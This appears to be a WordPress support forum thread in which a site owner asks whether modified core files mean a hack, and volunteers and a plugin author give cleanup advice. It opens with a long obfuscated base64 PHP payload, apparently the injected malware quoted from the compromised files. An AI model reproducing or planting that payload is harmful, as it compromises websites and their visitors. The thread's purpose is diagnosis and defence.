XhTa2RWYTFrMVVqRlJlRk5YYkUxUk1IQklWa1JHUzFkR1JsZFRhMVpUVmxaS2JWVnRjelZWTVdkM1lrWkdTbUZZWkhCVk1GcFRWbFpXUjA5VlVsVlNWM2hIVmtkNFUxcHNUbGRSVjJ4TlVUQndTbFpyV2xOVlZtZDNWMnhDVm1KSFVrTldWM1JUVW14S1JGTllUa3BoTW1oV1ZtdGFRMXBzU25KUFZrNVhUVVZhVkZWclZsZFNWbWQzVjJ4Q1ZtRlZiSHBUVjNSdlZsWmFSMUZ0V2xOaGVteFVWbXBDUjFVeFNrWldhMVpaVFVad1VWWlhkelZUYkZaRVUxaE9TbEV3Y0VwV2ExcFRWVlpuZUZGclVsbE5WWEJIVmtaVk5WWldTbGRQVlVwVFVsWktWRk5YYkROaFZrNUhWV3hXVmxKcWJGSldWM00xVjFaa1YwOVZVbFZOUkZaUVZXeFdUMVpXVGxaUFZUbEtZVmhrY0ZVd1dsTldWbFpIVDFaa1ZGWlZWbkJVUlU1Q1lWWk9SMVZzVmxaU2FteGFWMFJDWVZWR1ZuTmFSVXBXWVRGS1IxVnJUa3BqTUd4RVUydHNWMUpzU2xKWFJFWnZXbXhLY2s5V1RsZE5SVnBVVld0V1YxSldaM2RYYkVKV1lWVnNlbE5WVGt0VFZscEhWV3hHV1UxWGFHMVZiWE0xVlRGWmQxSnNUbE5TVmxwR1YwUkNZVlZHVm5OUFZYQldVVEJzZWxOWGRHOVdWbHBIVVcxYVdGSnFiRXRXUmxaaFZVWldjMXBGU2xaaE1VcFZVMWRzTTJGV1RrZFZiRlpXVW1wc1dsWlhjelZYVm1SWFQxVlNWVTFFVmxCVmJGWlBWbFpPVms5Vk9VcGhXR1J3Vm0xMGMxRnJiSEJrTW1SS1lrZG9iVlZ0Y3pWVk1WbDNVbXhPVTFKV1drWlRWMnd6V2pCc2MyRkhXbE5oZW14VVZtcENSMVV4U2taV2ExWlpUVVp3VVZaWGJFcGpSVGt6WTBjeGFVMHdjSE5YVm1SUFlqQjBSRlZ1WkdwaVZHc3dXbFpaTldJeGNGaFNiWFJoVjBWd05sTlZaRWRsYTJ4RVZXNWthbUpVYXpCYVZsazFZakZ3V0ZKdGRHRlhSV3gzVVRJMWVsTXlSbGhYVnpsb1YwVTFObGRzYUZKaU1IQkhUMVpTVTFacmNGaFZiRnBMV1d0d1NWRnViR2xOTW1jeFYwUktiMkpHYkZoVmJYaHFZa1JDZDFOVlRscGlWV3hKVVc1c1lWWXlVbTFaYkdSSFRVWnJlVm95T1VwaFZHeHNVekJhZW1WRmVGVmlSMUp0VW01T05GUkdVbk5hUm1RMlVWaFNVRlpxUlRSVVZscDZaREI0VldKSFVsaGxhMFl3VkRGWmVFOUZNWE5qTTJSTlZrWkthMVl6Y0VKa1JUbFhUVlJvVG1Gc1dtbFVWVTEzVFZab1ZHRXlPVmxSZWxKMlZqTndRbVJGT1ZkTlZHaFlaV3RXTUZReFdYaFphekZFVFVSV1dWZElaRFJXTTNCQ1pFVTVWMDFYU2s1UmVrRXhWMFpvTTJWV1pEWlJXRkpQVW1wR2FWUlZUWGRPVm1oWlpETnNUMVp1VGpOVVJsSlhXa1YwVkdKRVpFNU5la0p5VkVoc1NtTXdiRVJWYlZwV1RVWmFWRlp0ZEZkVk1XUTFWVzVrYW1KVWF6QmFWbGsxWWpGd1dGSnRkR0ZYUlhCclV6Rk9jMDR5VG5SV2FrSnJWMFZ3TVZOVlRsTmFiRlYzVm14T1YyRXhXbFJXTTJ4VFpESk9kRTlVVW14V2FteDJWMnhrUjJFeGNGbFRiVkpRVFhwQ1RGZHNaRFJsYkhCVVVXNUNZV0ZYYURaYVJXaExZMGROZWxWdWJFeFJNR3g2VTFkc00xb3djRWRQVmxKVFZtdHdXRlZzV2t0WmEzQkpVVzVzYVUweVp6RlhSRXB2WWtac1dGVnRlR3BpUkVKM1UxVk9SazlXUWxSUmEyUlNWbGhvVlZWc1RuSlRNbFkxVlc1a2FtSlVhekJhVmxrMVlqRndXRkp0ZEdGWFJYQnRXa1ZrVjJSSFRrUlJWR3hLVTBaS05WbFdZM2RpTVd4WlUyNXNXbGRIZUcxWmVrcHZZMFp3ZFZWWE9XRlhSMmd6V1d0ak5XRXhjRlJhTW14TlVUQnNlbE5WVGxOYWJGVjNWbXhPVjJFeFdsUldNMnhUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWSk1WVEowZDFRemJFSlRNa1pZVjFjNVRGRXhTak5aYWs1UFdtMVNTRlp1VW1wUk1FVTFVMVZvVDAxSFRuUmlTR1JwVFRBeGRsTnJhRU5sVjBsNllVUldXVTF0YUhOWFZtUlRZa2RPYzA5VVFtRldla1l6VkVWT1FtRlZPWEJUV0VKTVZUQkdiMVZHVVhkYU1VcHlVbXN4VmsxR1ZuZFRWVTVUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWcHJVakZhTUZrd1RrSlBWV3hKVkdwR1dtSnJOSGRaTW14dVlUSk9TVk51V214VFIzaHRXVlZrVjJGR2NFaFdibXhaVFRGS2MxbHNhRUpqTUd4RlVWaE9TbEV4U2pOWmFrNVBXbTFTU0ZadVVtcFJNbk16VTFWR2QyTkdjSEJoU0dScVlsWmFkVmRFU1hoaFIxSklWRzA1VEZFd2JESlhSMnh2V1dzeFZFMUVWbGxYU0docFZGWk5kMDVXYUZkak0yUk5Wa2Q0YTFwclVrZFphekZFVFVSV1dWWnVUak5VUmxKeldrZGFSVk50U2s1UmVrRjNWMFphZW1Rd2VGVmlSMUp0VWtWcmVGWXpjRUprUlRWWFRVaENURkp1WkRGVE1GcDZaREI0VldKSFVtMVNiazQwVkVaU2MxcEdaRFpSV0ZKUVZtcEZORlJXV25wa01IaFZZa2RTV0dWclJqQlVNVmw0VDBVeGMyTXpaRTFXUmtwclZqTndRbVJGT1ZkTlZHaE9ZV3hhYVZSVlRYZE5WbWhVWVROQ2JHVnJORFZUYTAwMFlWVjRSRkZYZEdwVFJYQXlXbFZvYzFwdFJraFdiV2hoVWpGYU5WZEVUbE5pUjBwWlVWaENTbEV5ZURWWGJHaFRUVmRPZEU1SFpFdFRSVW8xV1dwT2IwNVdaM2xoUjNoYVZqRktjMWt5ZHpWTlJuQllUVmhrVUdRelFUVlJNalIzVXpKT2RGWnFRbXRYUlhBeFUxVk9VMXBzVlhkV2JFNVhZVEZhVkZZemJFdFZNVXBXVFZaQ1YxSldXbTFWVmxaVFVsWldjRk50VWxCa00wRTFVVEkwZDFNd1RuUmlSekZLVVRKa2IxZHROVmRrVm10NlZXNUNhVTFxVm0xWGJHaHZZMGROZWxWdWNFeFJNSEJvVmtaU1YyTlZNWFZTV0dScVRXMW9kRmRFU210aVIxSkhUMVJHYW1KWVpIQlRNVTV6VGpCT2RGZHFSbWxpVlRSM1dWWmpOV1JWYkVkalJUVlBWakk1TlZreFVrTmxiVVpJVjIxYVlVMXNXWGRYUkU1WFpWZEtSRm96UW14bFZVWk1VMnRvVjJWWFNrUlJWR3hLVVRCd2RscEZhRk5rTURsd1QwaGFTbUZWUmpGVFZVNVRXbXhWZDFac1RsZGhNVnBVVmpOc1MxTldXa2RWYkVaWlRVZG9VVlpVUmxKaFZtaFVVVmhXU2xFeFNtMVdWRUpYVlRGYWNsWnNUbGhsVlhCVVZXeGFSMVpzU2xkVWJGWlpUVlphVkZVeFRrdGFSVGt6WTBoQ1lXRlZSblpaZWs1VFpWZE9TRTlZY0V4Uk1VbDRXVEl4TTJNd2JIRlBSMnhNVlRCR2IxVkdVWGRhTVhCMFVtNU9hazFzVm5kYVdHUjJZVEpTV1ZOdVRrcFNSRUp1V1hwT1YyRlhUWHBWYm14TVVURkplRmt5TVROak1ERkVaVWh3YTFORmNETlphazVPWWpCd1NWWnViR2xSTTJSd1ZVaHNTbU5GZEZWak1IUnRWVmhDTlZkc2FGTk5WMDUwVGtka1MxTkdXalZaYTFKNlV6SmFVbU5FYkVSYU1qbE1XVlprV2xvd2RFUlNiVEZyVm5wV2NWcEZaSE5rYlVwelQxZDRiRkl5ZURaYVJXaE9ZakJzYzJORk5VOVdNamsxV1RGU1EyVnRSa2hYYlZwaFRXeFpkMWRFU2s5a2JVcDFWVzE0YVdKc1NqWlRWMnh5WTBkV00yTkhNV3RXZWxaeFdrVmtjMlJ0U25CUmJVWlZWa1phZUZSWE5VWmtNazE1WVVjeFdVMXRVbk5hUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVJsbFJXRTVLVVRGS00xZFdaR3RpUlhSWll6QjBhRll4YkhaVE1HUmhUVmRLZEZScVFtaFdlbXd4VjBSS1YwNUhSbGxVYWtKcVpWZGtjRmRVVGxkbFYwcEhUMWhDYVdKWGQzZFRWMnh5WTBWc1JGZFhNVXBSTW1oMFdrWmpNV0Z0VWtoaVNGcHBZa1JzYzFwVlpITmxiVkpKVkZjNVNtSlZOSGhaTWpFMFdteHdXV0ZIZUZwbFZXeDNVekZPYzA0d1RuQlJWMlJLVVRCR2NsZFVTbTVhTVVKVVVXMXdhMWRGY0hwWFJFcHpaRmRHV1ZWWE9VcGlWMmQzV2tWb1FrNXJlRFZQUjJ4S1VYcFNjbGxXYUVKYU1IaHdVVmRzVFdWVmJHNVVSMnhUWkRGc1dGcEhlRXhXU0U1TVUxVk9RbG93YkVoVWFrWnFZbGhvYlZsNlNsZE5SMGw2VVdwQ1RGRXhTbkZaVlU0eldqRkZlRlpzVGxWU1ZHeFNWbXRaTlZVeFNsZFZiRnBXWVhwV1ZsWlhkRWRVTVZWM1YydGFWbUZZWkc1VVZrNXlUakJPY0ZGWFpFcFJNRXB4V2tab1MyTXhaM3BVYlhoclVucHNNMXBGVG01aE1XdDVXak5PU2xKVk5WZFdWM1EwVlVaV1IxVnRXbGRTVjNoUFZXeFZOVlpzV2tSa01tUk9aVmR6TTFFeWJFSmFNR3hFVVZkMGExWXpaM2RUVlZGM1dqSlNTVk51UW1sVk1taHhXa1pvUzJNeFozbFdhbEpoVmpBeGRsTnJaRTlpTUhSVVlYcGtSR0ZWUm01VFZVNURaVlp3V1ZWcVJtcGlWRkp1VTJ0b1YyTXlVa1ZqTUhSS1VUQkdibE5WWjNkVE1FNTBZa2N4U2xFeWFIZFpiVEZ6V214dmVWWnFRa3hSTUhCdldXdGtOR1J0VVhoUFZFWnFZbGhvYlZkdE1EVmtNWEJZVGtkc1RGVXlkRzVhV0dSMldqQnNSRkZYWkV0VFJscDZXa1ZPUWs5VmJFbFZibXhvVm5wQ2RsVlZaR0ZqUjBwSVZtMWFZVTFzV1hkWFJFcFBaRzFLZFZWdGVHbGliRW8yVXpCT1MySXlVa2xWYm1SUVlWUm9NbE5YYkVKa1ZYQklZa2hrU2xGNlVtNVRWMnMwWVZWc1JFNUhkR3BTTUZwMVYyeE9jbU5GT1ROaU1tUktVVEJHYmxreU1WZE5SMUpaVTI1V1NsRXhTWGhaYTJoU1RqQk9jRkZYWkVwUk1FazFVVEpzUWxvd2JFUlJWM1JoWW10R2JsVkdUa05pVjAxNVQxZHdhRTFxYkROWGJHTXdZakJ3U0dKSVpFMVJNRVV3VkZWT00xb3djRWhXYm14cVlsUldNbFJGVGtKaE1YQlpVMjVzYWsweFNqVlVSVTVDWldzeFJHRjZaRVJoVlVadVUxVk9RMk5HY0hCUlZ6bExVakZ3TTFNeFRrTk9NSEJJVDFSR2ExRXdSVFZUVlU1TFUwWktWMVZYWkV0VFJVcHZWMnBLVmxveFRrZFZiRlpXVVhwb05GUkhjRU5aTWs1elpVaFdTbUZ1VGt4VFZVNUNXakJzUkZWdVdtdFhSa1p1VkVkdmQxb3diSEpoU0ZwcVRURkZNbE5WVGxOalIwNUhaVWhzV1ZKNlVuQlVNMlIyV2pCc1JGRlhaRXRTZW10NFdrVk9RbVJXUWxSUlYyeFNUV3BzTVZsdE1WZGhiVkpJWWtoYWFXRnRPVzVWVkVvMFpHMU5lVlp0VG1waVNHZ3hWMFZvUzFreVNuQlRWR1JFWVZWR2JsTlZUa05pVjFGNlUyNUNhMUl4Vm5aVGEyUmhaREI0UkZGWGRHbE5NVmwzVXpGU2VsTXdiRVJSVjJSS1VURktOVmRzYUZKYU1VSlVVVmRzU21GdVRreFRWVTVDV2pCc1NWcEhPV2hXTTJoelUxVk9ibUZHY0hSV2JscGhZVmRrY2xkdE5VSmpSWFJVVVdwa1MxTkZjSE5hUlU1Q1dqQjRjVTFIWkVwU01YQjFWMnhvVTJWcmRFUlZiVEZxVVROa2JsUldVa3BPUlhSVlpFUnNSR0pXY0hGWmEyTTFaV3h3VkZveWRHRmlhMFozVkROa2RtRXlVbGhsUkVKS1VrUkNibHBGYUV0alIwcFVZVWh3YTFZd2NEWmFSV2hLWWpCd1NWTnRlR3RSTTJSdVdYcE9VMlZYVGtoUFdIQk1VVEZLTlZkc2FGSmpNR3hFVTIxT2FtSklhREZYUldoTFdUSktjRk5ZUWtwUk0wNXVWR3RPY21ORk9IcE5SWFJxWWxaWmQxcEdhRXRrVld4RVZXcEdhVk5HUlROUk1qUjNVekphVW1Jd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWM2gzVkdzMVdHSXpiR3BXUlVvMldWVmtZVnB0VFhsU2JsSnJWako0YlZkcVNsZE5SbWQ1WlVoQ2FXSllValpUVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiVVpWVmtaYWVGUlhOVVprTWsxNVlVY3hXVTB3Tlc5WmJHaFhZMFpuZVZwSGVHdFNhbXg2V1Zaak1XTnRUalZhTTBKc1pESTVURk5yWkVkak1rcEVVVlJzU2xJeVVuTmFSVmsxWTIxS2RFOVVUbGxOYlhnelV6Qk9jazR3VG5WVWJUbHJWakZ3ZEZsclpGWmlNSEJJVW01T2FWRXljek5STW14VFRWZE9kR1F5WkZGVk1FcG9Wa1pTVjJOVk1YVlNXR1JxVFcxb2RGZEVTbXRpUjFKSFQxUkdhbUpZWkhaVE1WSjZVekJ3U1ZOdGVGcFdNMmh0V1Zab1Fsb3hRbFJSYlVaVlZrWmFlRlJYTlVaa01rMTVZVWN4V1UxdFVuTmFSVmsxWlZad1dGSnVUbGxOYlhnelV6Qk9jazR3VG5CVmFrWmFWVEJGTlZOVmFFOU5SMDUxVlc1YWFWSjZhM3BYYkdoS1lqQndSMDlXVWxOV2EzQllWV3hhUzFscmJISmhSbFpYVW10S2JWWnNXazlTYkZaelQxVktVMDFHV2xCV2EwNUxXa1YwVldNd2RFdFNNRnAzVjJ0T1FrOVZiRVJUV0doT1VrVkdORk5YY0hwVE1IQklWRzVhWVZFd1JUVlRWV040WVRBMVZGb3lkR3RYUlhCNlZFYzFVMk5IU2xoV1Z6bE1WVEp6TTFFeWJGTmhiVVpJVm0xd2FHVlZSVFZUVldONFlUQTFWRm95ZEZwTmFteHlVekZTZWxNd2NFbFdiV2hLVWtSQ2JscEdhRXRqTVhCWVRsZHdhVTFzU25OVE1HaFBUVWRPZFZWdVdtbFNlbXQ2VjJ4b1NtSXdjRWRQVmxKVFZtdHdXRlZzV2t0WmEyeHlZVVpXVjFKclNtMVdiRnBQVW14V2MwOVZTbE5OUmxwUVZtdE9TMXBGZEZSaGVtUkVZVlpLTlZkc1pGcGFNVUpVVVdwR2FtSllhSE5aYlRGUFpHeHdTRlpYT1dwTk1VbzFXa1ZqTldNeVNYcGFSM2hxWVZka2NsZEVSazlTYkZaelYydGFWbUpJVG5CVk1GcFRWbFpXUjA5V1RsTldWbkJIVmxkMFYxVXdiSE5OU0VKTVZraE9URk5yYUVOaFJtOTVWbGRrVVZVd1JuQlVSRWw0WXpCNGRWRnRPV3BTUkd3d1dXcE9VMkl4Y0ZsVFZHeHJUVEpSZWxSSE1VdGxWbkJZVW01S2FGWjZWblZhUldSdllrZE5lbEZ0ZUdsU00yaHdXV3BKTldOcmVIUlVibHBwVlRGd2NWa3liM2RsUlhCMFVtNUNZVkpFUW5CVVIyeFRZVWRHV0ZWWVZrcGhWbTk0V1RJeE0wOVZiSEJPUjNSclYwVndlbFJIYkVwaVYwWlpVVlJzU21GVVVuSlpNakZYWVVkS1IwOVlRbXBSZWxKd1UyMDFWMkZHUWxSVFdGWkxVMFphYjFSSGJFcGlWbXQ1VDFkMFVWVXdiREZUYTJSUFpHeHdSRTVIYkV0aWEzQnpWMjF2ZDJGVmVIQlZibXhoVmpGck0xRXlaSGRpVjBsNlUyMTRXbFl3TlhaVFZVNXVZVEZzV0dWSVRrcFNNRm8yVTFWT1UyTkhUa1JpUkdSRVlWWkpkMWRZYkVKUFZXeEhZMFUxVDFZeU9UVlpNVkpEWlcxR1NGZHRXbUZOYkZsM1YwUktUMlJ0U25WVmJYaHBZbXhLTmxNd2FGTmxWMFpZVFVjNVMxSXllRE5UTVU0ellUSk9TRkp0TldGVk1uTXpVVEpzVTJReVNYcFVWMlJSVlRCS05scEZhRXRrTWtsNlZGYzVTMU5HU25GVVJVNUNZVEZyZVdGSGVGcE5iazUzVkROa2QyTkdjSEJSVnpsTFUwVktNbGt6YkVKaFJrSlZUVWRrWVdKVlducFpla3BXWTBkV00ySXlkR3BUUlhBeVdsVm9jMXB0U2toaVNIQnJVVEJGTlZOVmFFOU5WbXgxVkdwQ2FtRlhaSEphUldST1l6QXhSR1F5ZEdwU2VtdzJVekZTZWxNd1RuVlViV2hyWWxaYWJWbFVTVEZrYlZGNFQxaENhbEV5YUhOYVZXaERZekpKZVZWdGVFeFJNSEJxV1cxc1NtTXdjRWxSYm14cFRUSm5NVmRFU2pSalIwMTZWVmhDVEZaSVRreFJNbVIyWVRKS1NHSklWbWhOTURGdVZVWk9RMlZ0VWxoVGJuQnJVMFZzZGxOcmFGTmhhM2hFVlc1a2FVMHdNWGxVV0hCS1kwVTVNMk5JYkdGWFJrbDRXVEl3TUZvd2NFaGxTRUpwWWxoU05sUXpaSGRQVlU1MVRVVjBiVlZZUVRWUk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzV0dGNlFYaFpWM0JMWlVVeFNWUnRPV0ZpUkd3d1dXcEtVMXBzYTNsUFdGWktZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFdWWlNWVlp1Ums1aWExWXpXWHBLYjJKV1ozbE5XRnBoVW1wc2NWbHFTVEJpTUhCSVZHNWFhV0ZYZHpOUk1qRnpZbFZzUkdGSWNHdFRSWEF6V1dwT1RtSXdjRWhVYmxwcFlWaGtjRlZGWkV0a2JIQkpZVEpzVEZVd1JtOVZSbEYzV2pGd2RGSnVUbXBOYkZaM1UxVm9lbE13Y0VsVmJYaHNVMFpHYmxWR1RrTmtNazUwVm0wMVdVMHdjSE5aTUdRMFlVWnJlVlpYT1VwaFZHYzBWMWN3TldFeVZsUmhSMDVxVFZoU2JGVkhkM2RqVlhSVlQwTjBUVTF0ZEhCVVJVNUNZVlpDU0ZOdVdtRlRSM2hxVkZaUk1HRlZlSE5qUlRWUFZqSTVOVmt4VWtObGJVWklWMjFhYWsxcldqQmFSbVJ6V214dmVWWnFRbGxOYm1oM1dXMHhNR1ZyZEVSaE0wNUtVVEZLY1ZscVNUQmpNREZVWVhwa1NsRXdSa3haTWpGWFRVZFNXVk51VmtwUk1VbDNWMnhvYjAxRk9UTmpSR3hLVWpGYWVsbDZTbFphTWxWNlUyMTRhMU5HV2pWWmJXeENZVEZyZVU5WVZsQk5la0pNV214R2QwOVZUbTVpTUhSb1ZqRnNibE13VGtkaVYxSllUbGR3YTFJeWVESlpiWGMxWWtkV1NHSkljR3RUUlRGMlUxZDRkMVJyTlZoaU0yeHFWa1ZLTmxsVlpHRmFiR3Q1VW01T2FWSXdjRzlYVkVwNllWVjBWR0pFWkVSaVZtOTRXVzB4VDAxSFJsaFBXRlpLVW01Q1QxUnNaSFpsVjA1VlVXNXdhRkl4Y0cxWFZFcEhZekpLU0ZOdGFGcE5iazUyVTJ0a1MwMVdjSEJpUkdSRVlsZDRkRk5WVG05aU1YQllVbTEwWVZkRmNEWlhSRTVQWWtkS2RWVlhPVXhWTW5jelVUSXhjMkpWYkVSaFNFSnBZa1JzYjFreU5VdGhSMVpVV2pKc1VrMXFiREZhUldSWFpGZFNSRTFWV21saVZUVXlWMnRrYzJSV2NEWmlNbVJoVFROQ2Qxa3dUa3BqTUd4SVlVZDRXbFl4U25OWk1qVlBXbTFLU0dKSWNHdFJNbVIzVXpGT2MwNHdUbkJWYWtKcFYwVktkRmx0TVVka1JuQlVVVlJzU2xOR1NuTlpiR2hEWkZac1dFMUhPV3RTYW14eVdWWm9TbUl3ZEZSa01tUktZVEZ3VVZaSWJFcGpSVGsxVldwYVlXRlZSVFZUVldSaFpHMU9TRlp1Vmt4Uk1VbDNXV3hvUTJKWFNuUlNibEpoVlROa2JsTlhOV3BoVlhSVll6SmtZV0pyU1hoYVJXaE9ZakJ3U1dOSE1VMVJNRVp5VjFjMVYySlZkRlZqTW1SaFlsVTFlbGxxVGs5aVJYUkVWV3BhWVdGWGN6TlRWVTVUVG14d1JGRlViRXBTTWxFeVdXcE9RMkpIU25CYU1uUnJVbnBHTTFkdE1ERmhSMHBZVmxoT1NsRXdjRFZUVjJ4eVRqQndTRlJ1V21saWJFcHpXVzAxVTJWcmJFVk5SMlJoVFROQ05WZHNaRWRoTUhSRVZXcGFZVkV6Wkc1VVZsSkNaREF4UlZGWVpFNVNSVVozVkROc1UyRnRTWGxPVkVKaFZucFZkMWt6YkVKUFZXeEhZMFUxVDFZeU9UVlpNVkpEWlcxR1NGZHRXbWxXZW14eVYwUktUMlJ0U25CYU1uUmFUV3BzTVZwRlpGZGtWMUpKVkZoQ1VFMXRVVEpYVkVvMFpHMU5lVlpYT1V0VFNFSnlVekZTTUUxWFNuUmxTRUpwWWxoT2RsTnJhRk5rUjA1SVYyNVdXbFo2Um5OVE1WSjZZVEZyZVU5WVZtdFNNVm94V2tWb1Rsb3hRbFJSYlRWc1lsWmFNVmRVU1RWaE1YQlVXakowV2sxcWJERmFSV1JYWkZkU1NWUllRbEJOZWtKdVYyeGtOR1ZzY0ZSUmFtUkxVakExTWxsdE5WTmlSMHAxVlc1d1NsSkVRbTVXTW5OM1RWZEdjVk51YUU1VFJUVjJWMjEzTldSSFNYbFZiVnBhVFdwc01WTXdUbE5oVjFKWVYxaENVR1ZWU1RWYWJFNURZa2RLU1ZSdGVFcFRTRTV5VjFSSk5XUlhVa2hXYmxaclUwVXhibFZHVGtOWlZsSlZWbTVHVG1KclZqTlpla3B2WWxabmVVMVlXbUZTYW14eFdXcEpNR0l3Y0VoVGFrWmhZVmR6TTFwc2FFdGlSMUpKVm01c2FXRlhaSEpYVkVrMVpGZFNTRlp1Vm10VFJURjNWRE5rZDA5VlRuVk5SWFJLVVZoQ01sZFhkelZsYlZKSVVtNXNhMUV5WkhCV01uTjNUVmRHY1ZOdWFFNVRSVFYyVjIxM05XRnNiRmhsU0U1YVlsVmFjVmxZYkVwalJUa3pZakIwYlZWWVFUVlJNalIzVTNsSmNFdFVjMmNpS1NrN0lBPT0iKSk7IA==’);?><?php

    https://wordpress.org/plugins/wordfence/

Viewing 8 replies - 1 through 8 (of 8 total)
  • You *have* been hacked. The changes don’t have to be noticeable to be there. If you open the html source of any of your website’s pages, you will more likely than not find some html added there by the above code snippet which shouldn’t be.

    What’s been added to the php files is obfuscated php code and no real WP core file will ever contain obfuscated code.

    Re-download WordPress, unzip and upload the ‘fresh’ copies of the changed files to replace the hacked ones. Better yet: re-upload the whole of WP.

    Also check that your .htaccess file has not been changed, that there are no extraneous files in your file system and that no extra users have been added to your database (especially with admin access).

    Hope this helps.

    Thread Starter dlachusa

    (@dlachusa)

    Thanks for responding and for the advice. I’m on it right now.

    Plugin Author Mark Maunder

    (@mmaunder)

    What @jrf said. Sorry to hear about this and post a reply here if you think we can help further.

    Regards,

    Mark.

    Thread Starter dlachusa

    (@dlachusa)

    Mark,
    Yes, I have more to share and need further help. After cleaning everything up per jrf’s advice yesterday, I’ve been hacked again overnight on 3 of my sites (they’re all on the same hosting account). I upgraded to Wordfence Premium yesterday (before the second round of hacks). I’ve contacted my host security dept (Hostgator) and they are looking into it, but any further advice here is appreciated. Clearly my sites/hosting account have been compromised and I need to get to the bottom of it.

    Here are the notices I got yesterday afternoon:

    On one site (malicious notices reference easy video player files):

    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code
    * This file may contain malicious executable code

    Warnings:

    * Modified plugin file: wp-content/plugins/akismet/index.php
    * Modified plugin file: wp-content/plugins/akismet/views/config.php
    * Modified plugin file: wp-content/plugins/genesis-responsive-slider/style.css
    * Modified plugin file: wp-content/plugins/genesis-simple-edits/plugin.php
    * Modified plugin file: wp-content/plugins/genesis-simple-edits/readme.txt
    * Modified plugin file: wp-content/plugins/jetpack/_inc/header.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/functions.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/header.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/index.php
    * Modified plugin file: wp-content/plugins/powerpress/getid3/index.php
    * Modified plugin file: wp-content/plugins/powerpress/index.php

    On another site:
    Warnings:

    * Modified plugin file: wp-content/plugins/akismet/index.php
    * Modified plugin file: wp-content/plugins/akismet/views/config.php
    * Modified plugin file: wp-content/plugins/genesis-simple-edits/plugin.php
    * Modified plugin file: wp-content/plugins/genesis-simple-edits/readme.txt
    * Modified plugin file: wp-content/plugins/jetpack/_inc/header.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/functions.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/header.php
    * Modified plugin file: wp-content/plugins/jetpack/modules/minileven/theme/pub/minileven/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/captcha/backgrounds/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/captcha/gdfonts/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/captcha/images/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/captcha/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/captcha/ttffonts/index.php
    * Modified plugin file: wp-content/plugins/si-captcha-for-wordpress/index.php
    * Modified plugin file: wp-content/plugins/w3-total-cache/inc/options/common/header.php
    * Modified plugin file: wp-content/plugins/w3-total-cache/inc/popup/common/header.php
    * Modified plugin file: wp-content/plugins/w3-total-cache/lib/W3/PgCacheAdminEnvironment.php

    On the 3rd site:
    Critical Problems:

    * WordPress core file modified: index.php
    * WordPress core file modified: wp-admin/index.php
    * WordPress core file modified: wp-includes/functions.php
    * WordPress core file modified: wp-includes/template.php
    * WordPress core file modified: wp-includes/theme-compat/header.php

    Warnings:

    * Modified plugin file: wp-content/plugins/akismet/index.php
    * Modified plugin file: wp-content/plugins/akismet/views/config.php
    * Modified theme file: wp-content/themes/twentyfourteen/functions.php
    * Modified theme file: wp-content/themes/twentyfourteen/header.php
    * Modified theme file: wp-content/themes/twentyfourteen/index.php

    Hiya,

    The third site is very likely hacked (the file list consists of files which are quite typical for these types of hacks), the others may not be. Make sure you check the files with Wordfence’s ‘show changes/compare files’ functionality.

    Sometimes files are indicated as changed when the plugin owner has done a minor update – not enough for a new version release -. Think along the lines of updating the ‘tested up to WP version xxx’ line in the readme.txt file. You can safely ignore those kind of changes.

    However if the changes are more extensive and/or contain obfuscated code in any form, you probably have been hacked and the same advise as before applies.

    Personally I normally use both WordFence as well as Better WP Security. There’s a slight overlap between the two, but for the most part the functionality of the two plugins complements each other and together they give you a pretty high security level for your WP site. All the same, if the server is leaky, there’s not much any plugin can do to prevent hacks, but at least you’ll be notified quickly so you can remedy the situation.

    Hope this helps.

    Smile,
    Juliette

    Thread Starter dlachusa

    (@dlachusa)

    Thanks Juliette. Yes, it helps.

    I will check out Better WP Security and look at adding it since I’m having all these issues. FYI, I just got this response from Hostgator Security:

    “Unfortunately it appears that there were some malware injections that had evaded our previous detection techniques and therefore remained on the account since the last cleaning. At this time we have gone through and removed them.”

    So perhaps this is all related to the hack I experienced a few months ago and hopefully it will now all stop.

    Debbie

    Fingers crossed šŸ˜‰

    Plugin Author Mark Maunder

    (@mmaunder)

    This may seem obvious, but make sure you’re running the newest themes and plugins on your site and make sure they’re actively maintained. Also check any other WordPress installations you run on the same host – a common mistake is to forgot that you have a WP installation in a subdirectory and not update it. So you end up with out of date and vulnerable plugins/themes that a hacker uses to target your primary site.

    Regards,

    Mark.

Viewing 8 replies - 1 through 8 (of 8 total)

The topic ‘Core Files Modified – have I been hacked?’ is closed to new replies.